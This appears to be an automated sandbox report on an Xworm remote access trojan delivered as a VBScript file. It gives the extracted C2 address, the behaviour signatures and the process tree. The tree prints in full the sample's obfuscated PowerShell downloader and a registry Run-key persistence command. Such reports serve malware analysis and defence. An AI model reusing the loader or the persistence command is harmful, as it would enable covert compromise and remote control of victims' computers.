Analysis

  • max time kernel
    155s
  • max time network
    167s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19/01/2024, 13:31

General

  • Target
    8/7.vbs
  • Size 20.0MB
  • Sample240119-qsnhmafee4
  • SHA256 894e0387f103426567c590e681f067cd3b9eb543bffa4b00f17922f331c033c6
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • xworm

Version
  • 5.0

C2
  • janxworm9090.duckdns.org:9090

Mutex
  • UwOmMMNWmpCKQdsF

Attributes
  • install_file

    USB.exe

aes.plain

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry key 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\8\7.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4356
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "gal;gal;gal;gal;gal;gal;gal;gal;gal;Function Idest9 ($Kenth){$Uncreditable = $Kenth.Length-1; For ($aftraadede=4; $aftraadede -lt $Uncreditable){$Trnerende=$Trnerende+$Kenth.Substring( $aftraadede, 1);$aftraadede+=5;}$Trnerende;}$Polypragmacy=Idest9 'FluohNuditMosktEftepMinusElek:Afgi/ Tax/TilbvKrineBraidYachaOtomnSpilyGnomadevis JomaSmaa. SpucParaoNotimKonf/AfspARessnHillaPeropInsth VahyTreolRelaaStorcInthtHangiKalenUcet.BadepWrymcBurszbroh ';$Trnerende01=Idest9 ' LagiSeleeMytexYder ';$Sicklewise = Idest9 'Mark\ArresIndbyEvensHukkwUnfeo PotwResp6 Str4Pror\OverW SluiWarrnIncod AntoEpitwMinesBesgPQuasoBlouwWatceGenbrLyasSStaahLugeeHvselBelelBurg\ToxivEnfe1Affa.Sahh0Baks\AfvepBeefoDefowCardeInterHjfjs Delh TryeRectlPredlConn.PalmeSavixPengeOver ';&($Trnerende01) (Idest9 'hidl$ForgDSkriiSinsmStroiTehanAktru BultSupei BemvAmbotUdkl2Lobu= Oxa$Jazze UnfnPhylvHjul:FishwRangisoapnRhebdDemaiServrComb ') ;&($Trnerende01) (Idest9 ' Skd$PettSLovriBankcEnsokOsculHibeeCestwInaciflossVareeUnde=anel$LiveDNieliSilkmTviviCauln KonuPsyktAnomiKirkvRerotAffe2stiv+Anti$ScopSBijeiNonicLidikEmotlTrykeBortwOppoi LitsforeeFlag ') ;&($Trnerende01) (Idest9 'Seku$TramPRiste DipbalipeMonkrNattmSemiyStuknLashtTmreeHexanUvrds Sub Whic=Outc over(Croc( SligDisnw TromCalai Bet AmaswBekeiErobnLigh3feel2Nark_FraipSpinrPylooAktic UndeApprsVkkeshear Reen-ArbeFCons ProP StrroutmoUdgic ScoeKrelsIntesCostIAfvadSamv=Medi$Spat{TrttPnasiITintDGord}Sapl) Kan.IsmaCSisso Locm PiemCorraKundnDrumdKyriLColiiTircn aaneKart)yder Most-AnodsProgp Emil BarirewitFisk Milj[ChascBeheh inkaNoderInde] Sti3Bjer4Devi ');&($Trnerende01) (Idest9 'Tamk$DrtrrBlena VergSphanHolaaFastr brisDiap Rela=caid Slgt$OverP FrueDentbForse LnlrTelemHelty AndnBlottglene Uafn Emps Bay[nonr$AdveP Ovee StabMucre Squr Anam TegyAfhonSomntSicke AttnElecsDemo.BerecAlkao DotuAllen heltProd-Tykk2Pree]Pani ');&($Trnerende01) (Idest9 'Hono$GrunISblasSamlinorisBona= Afl(GrouTTrffeGrats KaptFrag-HebrPParaa SautRehohPref Boli$RnspSArteiPolacPromk BarlIskleJejuwLuftiSlovs Skie Fra)Mode Dypp- CheA RefnYawldSlat Dase( ivr[NikoI ConnRaditOppuPAvestBassr Abs]Cart:Rise: PossSociiUnivzUraceHund Sta-staleCeilqTert Groc8Paul)Wesk ') ;if ($Isis) {&$Sicklewise $ragnars;} else {;$Trnerende00=Idest9 'uopdSCarytKalva GigrLseftMedu-PyocBnedriswurtacetsRoseT SmarIllua SkrnSmuls DilfOxydeStifr Kla Beke-OrdkSVikioCydiuYnglrSamlcForneList Hjsp$TaarPudtro XiplPenty Palpsedir MilaCrapgDiscmDresaDingc DamyAphr rype-ChapDSkjoeJeblsSpectArteiAfkrnComaa ChotTideiChikoNiftn Rep carn$SeatDlegiiTindmFyrsiBalanInteuJaystBiloiwerevBlantGran2Toit ';&($Trnerende01) (Idest9 ' Bio$AfplDMotliUndemPlaniTinnnDopiu ReltUdspiRufgvBrdtt Ich2 Spa= Rak$Datae KvinDisfvOuts:ImbraKrvepDelep Quadcoaca VectUdstaKond ') ;&($Trnerende01) (Idest9 ' IndITegnm Purp FjooramarInfotKonn-UvilMGymnoUdgadFinnusapplguarefolk SeveBBlodilkagtturbsFetaTCusprByliaArulnBokssJustfAnmieElefrTill ') ;$Diminutivt2=$Diminutivt2+'\Parabiosis.Ast';while (-not $Svagheder) {&($Trnerende01) (Idest9 ' Maa$AlunS MotvPastaElecgOrphhKorne jindEulaeFilmrVidn= Brn(DiscTModseKasss UndtPost-tertPGaunaBrontKlinhMedf Tegn$skueDJettiUnifmVagoi BronEraduDiskt BloiBrunvsubtttrla2Gisn)Fibr ') ;&($Trnerende01) $Trnerende00;&($Trnerende01) (Idest9 'ImpaSNedst kbsaforvrforhtSoci-FracSMikrl FaneInteeFyldp Sta Spl5Diab ');}&($Trnerende01) (Idest9 'Sall$LiggI SemdsatteForss ovettott Mud=Frnd vletGrougeNetvtSurf- DorCPudroMorenUltrtBaadepropnBaart Blk Con$DreaDSacriKirpmFjeniSortnpraeu FrstrenviGreevDefrtCapt2Betr ');&($Trnerende01) (Idest9 'Artu$InteBTapenAgtedMindeEmirlAftelLuddaGonikNetsrundsiKromdFldnsoldn Croc= Pat Myst[ BloSCheeyHenksOnsdtSkrpeSvipmUnpe.GallCFurooCimanSemevFolke OpnrCepotCfip]Unmi: Con:SvagF barrpornoGhrumHjemBAuscaGrdesSkraePres6Eger4KrypSTristAltsrForriBromn Gadg lev(Ragn$DdsaI recdGalieDepas RustVerp)Sera ');&($Trnerende01) (Idest9 'Magg$UlveTXylorPseunHouse LanrAdeleReemnAerod Liveunde2Evig skra= And Inds[BoutSLnneyUkvesCoert BeteNewzmBesk.BenbTHoroeMonixSkiltProj.DekaEUncunGluccEkspo PosdDekliSystnMarggFrem]Skri:kbst: RejATromS NonCFennI FrdI Fyg.DespGDepoeNevetNeopShomot BehrTrani NeunPortgMisb(Nonp$AtteBSplenUnindpleneFortl PallSaaraMagtkRullrCessimaoid Pres Soc) Hoe ');&($Trnerende01) (Idest9 'Besk$PaabVLoekaFigurUngrmSkamePiebfNasurCoxsoPendnSkiftDatae HelrAnthnBogae Unn=Cord$ SkiTpensr FrynLydie UndrSammeEssenRhapd Mdee Aci2Cath.BestsFulduOverb PaasBrevt VenrScraiMumin OengBist(Vask2Arbe9Coll2Dybt6 Han4 Vid2otol,Skat2Pyra6Dood4 Une4Prog4Gged)Klik ');&($Trnerende01) $Varmefronterne;}"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2000
      • C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "gal;gal;gal;gal;gal;gal;gal;gal;gal;Function Idest9 ($Kenth){$Uncreditable = $Kenth.Length-1; For ($aftraadede=4; $aftraadede -lt $Uncreditable){$Trnerende=$Trnerende+$Kenth.Substring( $aftraadede, 1);$aftraadede+=5;}$Trnerende;}$Polypragmacy=Idest9 'FluohNuditMosktEftepMinusElek:Afgi/ Tax/TilbvKrineBraidYachaOtomnSpilyGnomadevis JomaSmaa. SpucParaoNotimKonf/AfspARessnHillaPeropInsth VahyTreolRelaaStorcInthtHangiKalenUcet.BadepWrymcBurszbroh ';$Trnerende01=Idest9 ' LagiSeleeMytexYder ';$Sicklewise = Idest9 'Mark\ArresIndbyEvensHukkwUnfeo PotwResp6 Str4Pror\OverW SluiWarrnIncod AntoEpitwMinesBesgPQuasoBlouwWatceGenbrLyasSStaahLugeeHvselBelelBurg\ToxivEnfe1Affa.Sahh0Baks\AfvepBeefoDefowCardeInterHjfjs Delh TryeRectlPredlConn.PalmeSavixPengeOver ';&($Trnerende01) (Idest9 'hidl$ForgDSkriiSinsmStroiTehanAktru BultSupei BemvAmbotUdkl2Lobu= Oxa$Jazze UnfnPhylvHjul:FishwRangisoapnRhebdDemaiServrComb ') ;&($Trnerende01) (Idest9 ' Skd$PettSLovriBankcEnsokOsculHibeeCestwInaciflossVareeUnde=anel$LiveDNieliSilkmTviviCauln KonuPsyktAnomiKirkvRerotAffe2stiv+Anti$ScopSBijeiNonicLidikEmotlTrykeBortwOppoi LitsforeeFlag ') ;&($Trnerende01) (Idest9 'Seku$TramPRiste DipbalipeMonkrNattmSemiyStuknLashtTmreeHexanUvrds Sub Whic=Outc over(Croc( SligDisnw TromCalai Bet AmaswBekeiErobnLigh3feel2Nark_FraipSpinrPylooAktic UndeApprsVkkeshear Reen-ArbeFCons ProP StrroutmoUdgic ScoeKrelsIntesCostIAfvadSamv=Medi$Spat{TrttPnasiITintDGord}Sapl) Kan.IsmaCSisso Locm PiemCorraKundnDrumdKyriLColiiTircn aaneKart)yder Most-AnodsProgp Emil BarirewitFisk Milj[ChascBeheh inkaNoderInde] Sti3Bjer4Devi ');&($Trnerende01) (Idest9 'Tamk$DrtrrBlena VergSphanHolaaFastr brisDiap Rela=caid Slgt$OverP FrueDentbForse LnlrTelemHelty AndnBlottglene Uafn Emps Bay[nonr$AdveP Ovee StabMucre Squr Anam TegyAfhonSomntSicke AttnElecsDemo.BerecAlkao DotuAllen heltProd-Tykk2Pree]Pani ');&($Trnerende01) (Idest9 'Hono$GrunISblasSamlinorisBona= Afl(GrouTTrffeGrats KaptFrag-HebrPParaa SautRehohPref Boli$RnspSArteiPolacPromk BarlIskleJejuwLuftiSlovs Skie Fra)Mode Dypp- CheA RefnYawldSlat Dase( ivr[NikoI ConnRaditOppuPAvestBassr Abs]Cart:Rise: PossSociiUnivzUraceHund Sta-staleCeilqTert Groc8Paul)Wesk ') ;if ($Isis) {&$Sicklewise $ragnars;} else {;$Trnerende00=Idest9 'uopdSCarytKalva GigrLseftMedu-PyocBnedriswurtacetsRoseT SmarIllua SkrnSmuls DilfOxydeStifr Kla Beke-OrdkSVikioCydiuYnglrSamlcForneList Hjsp$TaarPudtro XiplPenty Palpsedir MilaCrapgDiscmDresaDingc DamyAphr rype-ChapDSkjoeJeblsSpectArteiAfkrnComaa ChotTideiChikoNiftn Rep carn$SeatDlegiiTindmFyrsiBalanInteuJaystBiloiwerevBlantGran2Toit ';&($Trnerende01) (Idest9 ' Bio$AfplDMotliUndemPlaniTinnnDopiu ReltUdspiRufgvBrdtt Ich2 Spa= Rak$Datae KvinDisfvOuts:ImbraKrvepDelep Quadcoaca VectUdstaKond ') ;&($Trnerende01) (Idest9 ' IndITegnm Purp FjooramarInfotKonn-UvilMGymnoUdgadFinnusapplguarefolk SeveBBlodilkagtturbsFetaTCusprByliaArulnBokssJustfAnmieElefrTill ') ;$Diminutivt2=$Diminutivt2+'\Parabiosis.Ast';while (-not $Svagheder) {&($Trnerende01) (Idest9 ' Maa$AlunS MotvPastaElecgOrphhKorne jindEulaeFilmrVidn= Brn(DiscTModseKasss UndtPost-tertPGaunaBrontKlinhMedf Tegn$skueDJettiUnifmVagoi BronEraduDiskt BloiBrunvsubtttrla2Gisn)Fibr ') ;&($Trnerende01) $Trnerende00;&($Trnerende01) (Idest9 'ImpaSNedst kbsaforvrforhtSoci-FracSMikrl FaneInteeFyldp Sta Spl5Diab ');}&($Trnerende01) (Idest9 'Sall$LiggI SemdsatteForss ovettott Mud=Frnd vletGrougeNetvtSurf- DorCPudroMorenUltrtBaadepropnBaart Blk Con$DreaDSacriKirpmFjeniSortnpraeu FrstrenviGreevDefrtCapt2Betr ');&($Trnerende01) (Idest9 'Artu$InteBTapenAgtedMindeEmirlAftelLuddaGonikNetsrundsiKromdFldnsoldn Croc= Pat Myst[ BloSCheeyHenksOnsdtSkrpeSvipmUnpe.GallCFurooCimanSemevFolke OpnrCepotCfip]Unmi: Con:SvagF barrpornoGhrumHjemBAuscaGrdesSkraePres6Eger4KrypSTristAltsrForriBromn Gadg lev(Ragn$DdsaI recdGalieDepas RustVerp)Sera ');&($Trnerende01) (Idest9 'Magg$UlveTXylorPseunHouse LanrAdeleReemnAerod Liveunde2Evig skra= And Inds[BoutSLnneyUkvesCoert BeteNewzmBesk.BenbTHoroeMonixSkiltProj.DekaEUncunGluccEkspo PosdDekliSystnMarggFrem]Skri:kbst: RejATromS NonCFennI FrdI Fyg.DespGDepoeNevetNeopShomot BehrTrani NeunPortgMisb(Nonp$AtteBSplenUnindpleneFortl PallSaaraMagtkRullrCessimaoid Pres Soc) Hoe ');&($Trnerende01) (Idest9 'Besk$PaabVLoekaFigurUngrmSkamePiebfNasurCoxsoPendnSkiftDatae HelrAnthnBogae Unn=Cord$ SkiTpensr FrynLydie UndrSammeEssenRhapd Mdee Aci2Cath.BestsFulduOverb PaasBrevt VenrScraiMumin OengBist(Vask2Arbe9Coll2Dybt6 Han4 Vid2otol,Skat2Pyra6Dood4 Une4Prog4Gged)Klik ');&($Trnerende01) $Varmefronterne;}"
        3⤵
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3904
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
          4⤵
          • Suspicious use of NtCreateThreadExHideFromDebugger
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:4736
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Varmluftsovns" /t REG_EXPAND_SZ /d "%Engrosbageri% -w 1 $Terminalbetegnelses=(Get-ItemProperty -Path 'HKCU:\arbejdsmedicinen\').Hippocratism193;%Engrosbageri% ($Terminalbetegnelses)"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:3252
            • C:\Windows\SysWOW64\reg.exe
              REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Varmluftsovns" /t REG_EXPAND_SZ /d "%Engrosbageri% -w 1 $Terminalbetegnelses=(Get-ItemProperty -Path 'HKCU:\arbejdsmedicinen\').Hippocratism193;%Engrosbageri% ($Terminalbetegnelses)"
              6⤵
              • Adds Run key to start application
              • Modifies registry key
              PID:2096

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        __PSScriptPolicyTest_2v2fynip.o2a.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2v2fynip.o2a.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        memory/2000-30-0x00007FFA21510000-0x00007FFA21FD1000-memory.dmp

        memory/2000-10-0x00007FFA21510000-0x00007FFA21FD1000-memory.dmp

        memory/2000-11-0x0000021846120000-0x0000021846130000-memory.dmp

        memory/2000-60-0x00007FFA21510000-0x00007FFA21FD1000-memory.dmp

        memory/2000-0-0x00000218460E0000-0x0000021846102000-memory.dmp

        memory/2000-33-0x0000021846120000-0x0000021846130000-memory.dmp

        memory/3904-37-0x0000000007590000-0x00000000075B2000-memory.dmp

        memory/3904-41-0x0000000075070000-0x0000000075820000-memory.dmp

        memory/3904-17-0x0000000005310000-0x0000000005332000-memory.dmp

        memory/3904-18-0x00000000059E0000-0x0000000005A46000-memory.dmp

        memory/3904-19-0x0000000005B00000-0x0000000005B66000-memory.dmp

        memory/3904-29-0x0000000005CB0000-0x0000000006004000-memory.dmp

        memory/3904-15-0x0000000004D70000-0x0000000004D80000-memory.dmp

        memory/3904-31-0x00000000062E0000-0x00000000062FE000-memory.dmp

        memory/3904-32-0x00000000063C0000-0x000000000640C000-memory.dmp

        memory/3904-14-0x0000000004CF0000-0x0000000004D26000-memory.dmp

        memory/3904-34-0x0000000007CB0000-0x000000000832A000-memory.dmp

        memory/3904-35-0x0000000006870000-0x000000000688A000-memory.dmp

        memory/3904-36-0x0000000007630000-0x00000000076C6000-memory.dmp

        memory/3904-13-0x0000000004D70000-0x0000000004D80000-memory.dmp

        memory/3904-38-0x0000000008330000-0x00000000088D4000-memory.dmp

        memory/3904-39-0x00000000079E0000-0x0000000007A02000-memory.dmp

        memory/3904-40-0x0000000007820000-0x0000000007834000-memory.dmp

        memory/3904-16-0x00000000053B0000-0x00000000059D8000-memory.dmp

        memory/3904-42-0x0000000004D70000-0x0000000004D80000-memory.dmp

        memory/3904-44-0x0000000007A60000-0x0000000007A61000-memory.dmp

        memory/3904-45-0x00000000088E0000-0x000000000C5F3000-memory.dmp

        memory/3904-46-0x0000000077A91000-0x0000000077BB1000-memory.dmp

        memory/3904-12-0x0000000075070000-0x0000000075820000-memory.dmp

        memory/3904-53-0x0000000075070000-0x0000000075820000-memory.dmp

        memory/4736-52-0x000000006F6B0000-0x0000000070904000-memory.dmp

        memory/4736-55-0x000000006F6B0000-0x000000006F6C0000-memory.dmp

        memory/4736-48-0x0000000077A91000-0x0000000077BB1000-memory.dmp

        memory/4736-56-0x0000000023290000-0x000000002332C000-memory.dmp

        memory/4736-59-0x0000000075070000-0x0000000075820000-memory.dmp

        memory/4736-47-0x0000000077B18000-0x0000000077B19000-memory.dmp

        memory/4736-61-0x00000000238C0000-0x0000000023952000-memory.dmp

        memory/4736-62-0x0000000023840000-0x000000002384A000-memory.dmp

        memory/4736-65-0x0000000075070000-0x0000000075820000-memory.dmp